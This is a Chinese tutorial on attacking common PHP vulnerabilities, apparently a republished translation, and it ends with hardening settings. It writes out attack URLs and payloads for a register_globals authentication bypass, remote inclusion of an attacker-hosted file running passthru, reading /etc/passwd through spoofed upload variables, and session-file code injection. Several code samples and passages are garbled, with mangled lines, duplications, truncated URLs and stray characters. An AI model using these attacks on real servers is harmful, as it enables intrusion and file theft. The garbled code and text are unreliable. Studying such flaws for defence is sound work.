如何對PHP程式中的常見漏洞進行攻擊

[全域變數] 
PHP 中的變數不需要事先聲明，它們會在第一次使用時自動創建，它們的類型也不需要指定，它們會根據上下文環境自動決定。從程式設計師的角度來看，這無疑是一種極為 方便的處理方法。很顯然，這也是快速開發語言的一個很有用的特點。一旦一個變數被創建了，就可以在程式中的任何地方使用。這個特點導致的結果就是程式設計師很 少初始化變量，畢竟，當它們第一次創建時，他們是空的。 

很顯然，基於PHP的應用程式的主函數一般都是接受使用者的輸入（主要是表單變量，上載檔案和Cookie等），然後對輸入資料進行處理，然後把結果回到客戶端瀏覽器。為了讓PHP程式碼存取使用者的輸入盡可能容易，實際上PHP就是把這些輸入資料看作全域變數來處理的。

例如： 

 
 
 

很顯然，這會顯示一個文字方塊和提交按鈕。當使用者點擊提交按鈕時，「test.php」會處理使用者的輸入，當「test.php」運行時，「$hello」會 包含使用者在文字方塊輸入的資料。從這裡我們應該看出，攻擊者可以依照自己的意願創建任意的全域變數。如果攻擊者不是透過表單輸入來呼叫“test.php”，而是直接在瀏覽器網址列輸入http://server/test.php?hello=hi&setup=no，那麼， 不只“$hello”被創建，「$setup」也被創建了。 

譯者註：這兩種方法也就是我們通常說的「POST」和「GET」方法。
下面的使用者認證程式碼揭露了PHP的全域變數所導致的安全性問題： 

if ($pass == "hello") 
$auth = 1; 
... 
if ($auth = = 1) 
echo "some important information"; 
?> 

上面的程式碼首先檢查使用者的密碼是否為“hello”，如果符合的話，設定“$auth”為“1”，即通過認證。之後如果「$suth」為「1」的話，就會顯示一些重要資訊。

表面看起來是正確的，而且我們中有相當一部分人是這樣做的，但是這段程式碼犯了想當然的錯誤，它假定「$auth」在沒有設定值的時候是空的，卻沒有想到攻擊者可以建立任何全域變數並賦值，透過類似「http://server/test.php?auth=1」的方法，我們完全可以欺騙這段程式碼，使它相信我們是已經認證過的。 

因此，為了提高PHP程序的安全性，我們不能相信任何沒有明確定義的變數。如果程式中的變數很多的話，這可是一項非常艱鉅的任務。 

一種常用的保護方式是檢查數組HTTP_GET[]或POST_VARS[]中的變量，這依賴於我們的提交方式（GET或POST）。當PHP配置為開啟「track_vars」選項的話（這是預設值），使用者提交的變數就可以在全域變數和上述的陣列中取得。 

但 是值得說明的是，PHP有四個不同的陣列變數用來處理使用者的輸入。 HTTP_GET_VARS數組用來處理GET方式提交的變量， HTTP_POST_VARS數組用於處理POST方式提交的變量，HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變量，而對於HTTP_POST_FILES數組（比較新的PHP才提供），則完全是使用者用來提交變數的一種可選方式。使用者的一個請求可以很容易的把變數存在這四個數 組中，因此一個安全的PHP程式應該要檢查這四個數組。 

[遠端檔案] 
PHP是一種具有豐富特性的語言，提供了大量的函數，讓程式設計者實現某個功能很容易。但從安全的角度來看，功能越多，要確保它的安全性就越難，遠端文件就是說明這個問題的一個很好的例子： 

if (!($fd = fopen( "$filename", "r")) 
echo("Could not open file: $filename
"); 
?> 

上面的腳本試圖開啟檔案「$filename」，失敗就顯示錯誤訊息。很明顯，如果我們能夠指定「$filename」的話，就能利用這個腳本瀏覽系統中的任何檔案。取檔案。 ./winnt/system32/cmd.exe?/c+dir” 
則上面的程式碼其實是利用主機target上的unicode漏洞，執行了dir指令。 

這使得支援遠端檔案的include()，require()，include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定檔案的內容，並且把它們按照PHP程式碼解釋，主要用在函式庫檔案上。

例如： 
include($libdir . "/languages.php"); 
?> 
include($libdir . "/languages.php"); 
?> 

上例中「$libdir」一般是一個在執行程式碼前已經設定好的路徑，如果攻擊者上例中「$libdir」一般是一個在執行程式碼前已經設定好的路徑，如果攻擊者能夠使得「$libdir」沒有被設定的話，那麼他就可以改變這個路徑。但是 攻擊者並不能做任何事情，因為他們只能在他們指定的路徑中存取檔案languages.php（perl中的「Poison null byte」攻擊對PHP沒有作用）。但是由於有了遠端文件的支持，攻擊者就可以做任何事情。例如，攻擊者可以在某台伺服器上放一個檔案languages.php，包含如下內容： 

passthru("/bin/ls /etc"); 
?> 

然後把“$libdir”設定為“http:///”，這樣我們就可以在目標主機上執行上面的攻擊代碼，“/etc”目錄的內容會作為結果返回客戶的瀏覽器。

需要注意的是，攻擊伺服器（也就是evilhost）應該不能執行PHP代碼，否則攻擊代碼會在攻擊伺服器，而不是目標伺服器執行，如果你想了解具體的技術細節，請參考：http:// www.securereality.com.au/sradv00006.txt 

[文件上載] 
PHP自動支援基於RFC 1867的文件上載，我們看下面的範例： 

 
 
 
 ="10240"> 
 RM>

上面的程式碼讓使用者從本機選擇一個文件，當點擊提交後，文件就會被上載到伺服器。這顯然很有用的功能，但是PHP的反應方式使這項功能變的不安全。當PHP第一次接到這種要求，甚至在它開始解析被呼叫的PHP程式碼之前，它會先接受遠端使用者的文件，檢查文件的長度是否超過「$MAX_FILE_SIZE variable」定義的值，如果透過這些測試的話，檔案就會被存在本地的一個暫存目錄中。 

因此，攻擊者可以傳送任意檔案給執行PHP的主機，在PHP程式尚未決定是否接受檔案上載時，檔案已經被存在伺服器上了。 

這裡我就不討論利用檔案上載來對伺服器進行DOS攻擊的可能性了。

讓我們考慮一下處理文件上載的PHP程序，正如我們上面說的，文件被接收並且存在伺服器上（位置是在配置文件中指定的，一般是/tmp），擴展名一般是隨機的，類似“phpxXuoXG”的形式。 PHP程式需要上載檔案的資訊以便處理它，這可以透過兩種方式，一種方式是在PHP 3中已經使用的，另一種是在我們對先前的方法提出安全公告後引入的。 

但是，我們可以肯定的說，問題還是存在的，大多數PHP程式還是用舊的方式來處理上載檔案。 PHP設定了四個全域變數來描述上載文件，比如說上面的範例： 

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG") 
$hello_size = Size in bytes of file (e.g 1024) $hello_name = The original name of the file on the remote system (e.g "c: emphello.txt") 
$hello_type = Mime type of uploaded file (e.g "text/plain") 

然後PHP. hello」指定的文件，問題在於「$hello」不一定是PHP設定的變量，任何遠端使用者都可以指定它。如果我們使用下面的方式： 

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt 

就導致了下面的PHPPOST可以（甚至是Cookie））： 

$hello = "/etc/passwd" 
$hello_size = 10240 
$hello_type = "text/plain" 上面
$hello_name = "vhello.txt" 上面
$了PHP程式所期望的變量，但是這時PHP程式不再處理上載的文件，而是處理「/etc/passwd」（通常會導致內容暴露）。這種攻擊可以用於暴露任何敏感文件的內容。 

我 在前面已經說了，新版本的PHP使用HTTP_POST_FILES[]來決定上載文件，同時也提供了很多函數來解決這個問題，例如有一個函數用來判斷某 個文件是不是實際上載的文件。這些函數很好的解決了這個問題，但是實際上肯定有很多PHP程式仍然使用舊的方法，很容易受到這種攻擊。

作為文件上載的攻擊方法的一個變種，我們來看看下面的一段程式碼： 

if (file_exists($theme)) // Checks the file exists on the local system (noemote files)) include("$theme"); 
?> 

如果攻擊者可以控制「$theme」的話，很明顯它可以利用「$theme」來讀取遠端系統上的任何檔案。攻擊者的最終目標是在遠端伺服器上執行任意指令， 但是他無法使用遠端文件，因此，他必須得在遠端伺服器上建立PHP檔案。這乍看起來好像是不可能的，但是文件上載幫了我們這個忙，如果攻擊者先在本地機器上創建一個包含PHP代碼的文件，然後創建一個包含名為“theme”的文件域的表單，最後用這個表單通過文件上載把創建的包含PHP代碼的文件提交給上面的代碼，PHP就會把攻擊者提交的文件保存起來，並把“$theme”的值設置為攻擊者提交的文件，這樣file_exists()函數會檢查通過，攻擊者的程式碼也會執行。 

獲得執行任意指令的能力之後，攻擊者顯然想提升權限或者是擴大戰果，而這又需要一些伺服器上沒有的工具 集，而文件上載又一次幫了我們這個忙。攻擊者可以使用檔案上載功能上載工具，把她們存在伺服器上，然後利用他們執行指令的能力，使用chmod()改變文 件的權限，然後執行。例如：攻擊者可以繞過防火牆或IDS載一個本機root攻擊程序，然後執行，這樣就獲得了root權限。

正如我們前面討論的那樣，include()和require()主要是為了支援程式碼庫，因為我們一般是把一些經常使用的函數放到一個獨立的檔案中，這個獨立的檔案就是程式碼庫，當需要使用其中的函數時，我們只要把這個程式碼庫包含到目前的檔案中就可以了。

最初，人們開發和發布PHP程式的時候，為了區別程式碼庫和主程式碼，一般是為程式碼庫檔案設定一個「.inc」的副檔名，但是他們很快就發現這是一個錯誤，因為這樣的檔案無法被PHP解釋器正確解析為PHP程式碼。如果我們直接要求伺服器上的這種檔案時，我們就會得到該檔案的原始程式碼，這是因為當把PHP當作Apache的模組使用時，PHP解釋器是根據檔案的副檔名來決定是否解析為PHP代碼的。副檔名是網站管理員指定的，一般是“.php”， “.php3”和“.php4”。如果重要的設定資料被包含在沒有合適的副檔名的PHP檔中，那麼遠端攻擊者就很容易得到這些資訊。

最簡單的解決方法就是給每個文件都指定一個PHP文件的擴展名，這樣可以很好的防止洩露源代碼的問題，但是又產生了新的問題，通過請求這個文件，攻擊者可能使本該在上下文環境中運行的程式碼獨立運行，這可能導致前面討論的全部攻擊。

下面有一個很明顯的例子： 

In main.php: 
$libDir = "/libdir"; 
$langDir = "$lib "$libdir/loadlanguage.php": 
?> 

In libdir/loadlanguage.php: 
... 

include("$Dir/$m>
... 

include("$Dir/$mV​​ym​​m​​k,$.F.F5m /loadlanguage.php” 被“main.php”呼叫時是相當安全的，但是因為“libdir/loadlanguage”具有“.php”的擴展名，因此遠端攻擊者可以直接請求這個文件，並且可以任意指定“$ langDir」和「$userLang」的值。 
[Session文件] 
PHP 4或更新的版本提供了對sessions的支持，它的主要作用是在PHP程式中保存頁與頁之間的狀態資訊。例如，當一個使用者登陸進入網站，他登陸了這個事實以及誰登陸進入這個網站都被保存在session中，當他在網站中到處瀏覽時，所有的PHP代碼都可以獲得這些狀態資訊。事實上， 當一個session啟動時（實際上是在設定檔中設定為在第一次請求時自動啟動），就會產生一個隨機的“session id”，如果遠端瀏覽器總是在發送請求時提交這個「session id」的話，session就會一直維持。這透過Cookie很容易實現，也可以透過在每頁提交一個表單變數（包含「session id」）來實現。 PHP程式可以用session註冊一個特殊的變量，它的值會在每個PHP腳本結束後存在session檔案中，也會在每個PHP腳本開 始前載入到變數中。以下是一個簡單的例子： 

session_destroy(); // Kill any data currently in the session 
$session_auth = "shaun"; 
session_register("session_authsion_uthsion_asession_uthister orses 完成 $csession_asession"); variable 
?> 

新版的PHP都會自動將“$session_auth”的值設為“shaun”，如果它們被修改的話，以後的腳本都會自動接受修改後的值，這對無狀態的Web來說的確是種很不錯的工具，但是我們也要小心。

一個很明顯的問題就是確保變數的確來自session，例如，給定上面的程式碼，如果後續的腳本是下面這樣的話： 

if (!empty($session_auth)) 
// Grant/ Grant access to site here 
?> 

上面的程式碼假定如果「$session_auth」被置位的話，就是從session，而不是從使用者輸入來置位的，如果攻擊者透過表單輸入來置位的話，他就可以獲得對網站的存取權。注意攻擊者必須在session註冊該變數之前使用這種攻擊方法，一旦變數被放進了session，就會覆蓋任何表單輸入。

Session 資料一般是保存在檔案中（位置是可設定的，一般是「/tmp」），檔案名稱一般是類似「sess_」的形式，這個檔案包含變數名稱，變數類型，變數值和一些其它的數據。在多主機系統中，因為檔案是以運行Web伺服器的使用者身分（一般是nobody）保存的，因此惡意的網站擁有者就可以透過建立一個session檔案來獲得對其它網站的訪問，甚至可以檢查session文件中的敏感資訊。

Session機制也為攻擊者把自己的輸入保存在遠端系統的檔案中提供了另一個方便的地方，對於上面的例子來說，攻擊者需要在遠端系統放置一個包含PHP程式碼的文件，如果不能利用檔案上載做到的話，他通常會利用session為一個變數按照自己的意願賦一個值，然後猜測session檔案的位置，而他知道檔案名稱是“php”，所以只需猜測目錄，而目錄一般就是“/tmp”。

另外，攻擊者可以任意指定「session id」（例如「hello」），然後用這個「session id」建立一個session檔案（例如「/tmp/sess_hello」），但是「session id」只能是字母和數字組合。 

[資料類型] 
PHP 具有較鬆散的資料類型，變數的類型依賴於它們所處的情境環境。例如：“$hello”開始是字串變量，值為“”，但是在求值時，就變成了整形變量 “0”，這有時可能會導致一些意想不到的結果。如果「$hello」的值為「000」還是為「0」是不同的，empty()回傳的結果不會為真。 

PHP中的陣列是關聯數組，也就是說，陣列的索引是字串型的。這意味著「$hello["000"]」和「$hello[0]」也是不同的。 

開發程式的時候應該仔細地考慮上面的問題，例如，我們不應該在一個地方測試某個變數是否為“0”，而在另外的地方使用empty()來驗證。 

[容易出錯的函數] 
我們在分析PHP程式中的漏洞時，如果能夠拿到原始碼的話，那麼一份容易出錯的函數列表則是我們非常需要的。如果我們能夠遠端改變這些函數的參數的話，那麼我們就很可能會發現其中的漏洞。以下是比較詳細的容易出錯的函數清單： 

 
require()：讀取指定檔案的內容並且作為PHP程式碼解釋 
include()：同上 
eval()：將給定的字串作為PHP程式碼執行 
preg_replace()：當與「/e」開關一起使用時，替換字串將被解釋為PHP程式碼 

 
exec()：執行指定的指令，並返回執行結果的最後一行 
passthru()：執行指定指令，傳回所有結果到客戶瀏覽器 
``：執行指定指令，傳回所有結果到一個陣列 
system()：同passthru()，但不處理二進位資料 
popen()：執行指定的指令，把輸入或輸出連接到PHP檔案描述子 

 
fopen()：開啟文件，對應一個PHP檔案描述子 
readfile()：讀取檔案的內容，然後輸出到客戶瀏覽器 
file()：把整個文件內容讀到一個數組中 

譯者註：其實這份列表還不是很全，比如“mail()”等命令也可能執行命令，所以需要自己補充一下。
[如何增強PHP的安全性] 
我在上面介紹的所有攻擊對於缺省安裝的PHP 4都可以很好的實現，但是我已經重複了很多次，PHP的配置非常靈活，通過配置一些PHP選項，我們完全可能抵抗其中的一些攻擊。下面我按照實現的難度對一些配置進行了分類： 

*低難度 
**中低難度 
***中高難度 
****高難度 

上面的分類只是個人的看法，但是我可以可以做到保證，如果你使用了PHP提供的所有選項的話，那麼你的PHP將是很安全的，即使是第三方的程式碼也是如此，因為其中許多功能已經不能使用。

**** 設定“register_globals”為“off” 
這個選項會禁止PHP為用戶輸入創建全域變量，也就是說，如果用戶提交表單變量“hello”，PHP不會創建“$ hello”，而只會建立“HTTP_GET/POST_VARS['hello']”。這是PHP中一個極為重要的選項，關閉這個選項，會為程式設計帶來很 大的不便。 

*** 設定「safe_mode」為「on」 
開啟這個選項，會增加下列限制： 
1． 限制哪個指令可以被執行 
2． 限制哪一個函數可以被使用 
3． 基於腳本所有權和目標文件所有權的文件存取限制 
4． 禁止文件上載功能 
這對ISP來說是一個很棒的選項，同時它也能大大改善PHP的安全性。 

** 設定「open_basedir」 
這個選項可以禁止指定目錄之外的檔案操作，有效地消除了本地檔案或遠端檔案被include()的攻擊，但是仍需要注意檔案上載和session檔案的攻擊。

** 設定“display_errors”為“off”，設定“log_errors”為“on” 
這個選項禁止把錯誤訊息顯示在網頁中，而是記錄到日誌檔案中，這可以有效的抵制攻擊者對目標腳本中函數的探測。 

* 設定「allow_url_fopen」為「off」 
這個選項可以禁止遠端檔案功能，極力推薦！ 

感謝您的閱讀，更多相關內容請關注PHP中文網（www.php.cn）！